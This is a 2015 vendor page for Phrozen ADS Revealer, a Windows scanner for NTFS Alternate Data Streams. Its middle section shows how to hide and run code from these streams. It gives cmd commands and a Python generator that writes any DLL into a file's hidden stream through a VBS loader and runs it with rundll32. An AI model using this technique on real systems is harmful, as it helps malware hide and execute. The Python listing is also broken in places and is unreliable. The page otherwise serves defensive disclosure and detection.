Phrozen ADS Revealer - Catch Alternate Data Stream

June 12,2015

Software Description

Phrozen ADS (Alternate Data Stream) Revealer is a Microsoft Windows program, especially designed to reveal possible malicious ADS files in your file system. Since the Alternate Data Stream functionality is only available for NTFS (New Technology File System), the program is able to scan and detect this kind of files only for this type of file system (Physical Hard Drive/Virtual Hard Drive/Physical Removable Device/Virtual Removable Device).

If some ADS Files are detected during the scan you then can decide wether or not you want to keep them or to back them up. You can also have a content preview to detect in one glance if it looks legitemate or not. Phrozen ADS Revealer is the perfect tool to sanitize your NTFS file systems against bloated content or hidden malwares. Another great tool to put in your collection and 100% free.

What are Alternate Data Stream

Alternate data streams allow more than one data stream to be associated with a filename, using the format "filename:streamname" (e.g., "text.txt:extrastream"). NTFS Streams were introduced in Windows NT 3.1, to enable Services for Macintosh (SFM) to store resource forks. Although current versions of Windows Server no longer include SFM, third-party Apple Filing Protocol (AFP) products (such as GroupLogic's ExtremeZ-IP) still use this feature of the file system. Very small ADS (called Zone.Identifier) are added by Internet Explorer and recently by other browsers to mark files downloaded from external sites as possibly unsafe to run; the local shell would then require user confirmation before opening them.[21] When the user indicates that they no longer want this confirmation dialog, this ADS is deleted. Alternate streams are not listed in Windows Explorer, and their size is not included in the file's size. They are ignored when the file is copied or moved to another file system without ADS support, attached to an e-mail, or uploaded to a website. Thus, using alternate streams for critical data may cause problems. Microsoft provides a tool called Streams to view streams on a selected volume. Starting with Windows PowerShell 3.0, it is possible to manage ADS natively with seven cmdlets: Add-Content, Clear-Content, Get-Content, Get-Item, Out-String, Remove-Item, Set-Content. Malware has used alternate data streams to hide code. As a result, malware scanners and other special tools now check for alternate data streams.

Full Article From Wikipedia

We also recommend to read this excellent paper about Alternate Data Stream from Marc Ochsenmeier.

The two potential dangers of Alternate Data Stream

Playing with Alternate Data Stream

You can easily create Alternate Data Stream files using the Microsoft Windows Terminal program.

Create an ADS File with some text content

echo Hello World > c:\my_target.txt:myads.txt

Copy a file to ADS

type c:\file2copy.jpg > c:\my_target.txt:myads.jpg

Exploiting Alternate Data Stream


If we read OWASP definition of Alternate Data Stream with an eye to security, we can see that they introduce the possibility to directly run application file from Alternate Data Stream using the following commands:

type C:\windows\system32\notepad.exe > c:\windows\system32\calc.exe:notepad.exe

start c:\windows\system32\calc.exe:notepad.exe

Unfortunately for Hackers but fortunately for your safety since the introduction of Windows 7 you cannot use this technique anymore to run application file directly from Alternate Data Stream.

However after few simple tests we found an easy but efficient way to get rid of this restriction by using the well known Rundll32.exe application from Microsoft used to run DLL code directly from command line.
Indeed Rundll32.exe doesn't apply this restriction to Alternate Data Stream so an Hacker could compile his Malware as a DLL file and directly run it hiddenly from ADS hosted by the signed and trusted process RunDll32.exe application.

Also to demonstrate this trick, we code a little snippet in Python which will encode a DLL file in a Visual Basic array of decimal value (Containing the binary code of the DLL) and generate the Visual Basic Script loader file used to extract this array to destination ADS location the malicious decoded DLL then use the Rundll32 process to execute our chosen exported function and voila.

The demonstration in Video

The DLL example code (Delphi)

  1. library malicious;
  2. uses Windows, Sysutils;
  3. procedure onemethod(); stdcall;
  4. var str : String;
  5. begin
  6. AllocConsole();
  7. Writeln('Attached to path:' + GetModuleName(0));
  8. Writeln('Attached to PID:' + IntToStr(GetCurrentProcessId));
  9. Writeln(#13#10 + 'Press ENTER to leave!');
  10. readln(str);
  11. end;
  12. exports onemethod;
  13. begin
  14. end.

The VBS generator code (Python)

  3. # jplesueur [@]
  4. # DESC: Generate a VBS (Visual Basic Script) file containing the possible
  5. # malicious DLL file encoded in decimal to be written in a target file ADS
  6. # Alternate Data Stream then run it using RunDLL32.exe.
  7. import sys
  8. import os.path
  9. if len(sys.argv) != 6:
  10. print("Missing arguments!\n")
  11. print("Usage:\n")
  12. print(r"1) The DLL file to be run from ADS (Needs to Exists)")
  13. print(r"2) The destination VBS file (Will be created)")
  14. print(r"3) The target file that will host the DLL file in ADS (Needs to Exists")
  15. print(r"4) The desired ADS name of the DLL file (Choose whatever you wan't")
  16. print(r"5) The DLL function to be call from the target DLL written to ADS")
  17. exit()
  18. FDLLSrc = str(sys.argv[1]) # THE DLL FILE TO BE RUN FROM ADS {NEEDS TO EXISTS}
  19. FFileDest = str(sys.argv[2]) # THE DESTINATION VBS FILE {WILL BE CREATED}
  20. FHostFile = str(sys.argv[3])     # THE TARGET FILE THAT WILL HOST THE DLL FILE {NEEDS TO EXISTS}
  21. FPayloadDestName = str(sys.argv[4]) # THE ADS NAME OF THE DLL FILE {WHATEVER YOU WANT}
  23. if not os.path.exists(FDLLSrc):
  24. print("The input DLL file must exists!")
  25. exit()
  26. if not os.path.exists(FHostFile):
  27. print("The host file to run input DLL from ADS must exists!")
  28. exit()
  29. payload = "payload=array(";
  30. with open(FDLLSrc, 'rb') as FDLL:
  31.     while True:
  32.         s =
  33.         if len(s) == 0: break
  34.         b = ord(s)
  35.         payload += str(b) + ","
  36.     payload = payload[:-1]
  37.     payload += ")"
  38.     FDLL.close
  41. with open(FFileDest, 'w') as FDest:
  42.     FDest.write(payload + "\n")
  44.     FDest.write("Set FSO = Wscript.CreateObject(\"Scripting.FileSystemObject\")\n")
  45.     FDest.write("Set CTF = FSO.CreateTextFile(\"" + FHostFile + ":" + FPayloadDestName + "\")\n")
  46.     FDest.write("for i = 0 to UBound(payload)\n")
  47.     FDest.write("buff = buff&chr(payload(i))\n")
  48.     FDest.write("next\n")
  49.     FDest.write("CTF.Write buff\n")
  50.     FDest.write("Dim objShell\n")
  51.     FDest.write("Set objShell = WScript.CreateObject(\"WScript.Shell\")\n")
  52.     FDest.write("objShell.Run(\"rundll32 \"\"" + FHostFile + ":" + FPayloadDestName + "\"\" " + FDLLExportedFuncName + "\")")
  55. #EOF

Note: We choose to demonstrate this technique but some other trick might also exist and be even more harmful. We will progressively disclose more techniques in the future.


Main Application Window
Choose an NTFS Target to Scan
Scanning process...
Some ADS Files Were Found
Basic Scan Filtering


Work In Progress

We are glad to see Phrozen Company growing quickly! A new website is under development and is excepted within a month with a beautiful new modern design / awesome freeware and services. Thanks all for trusting us and downloading by million our products <3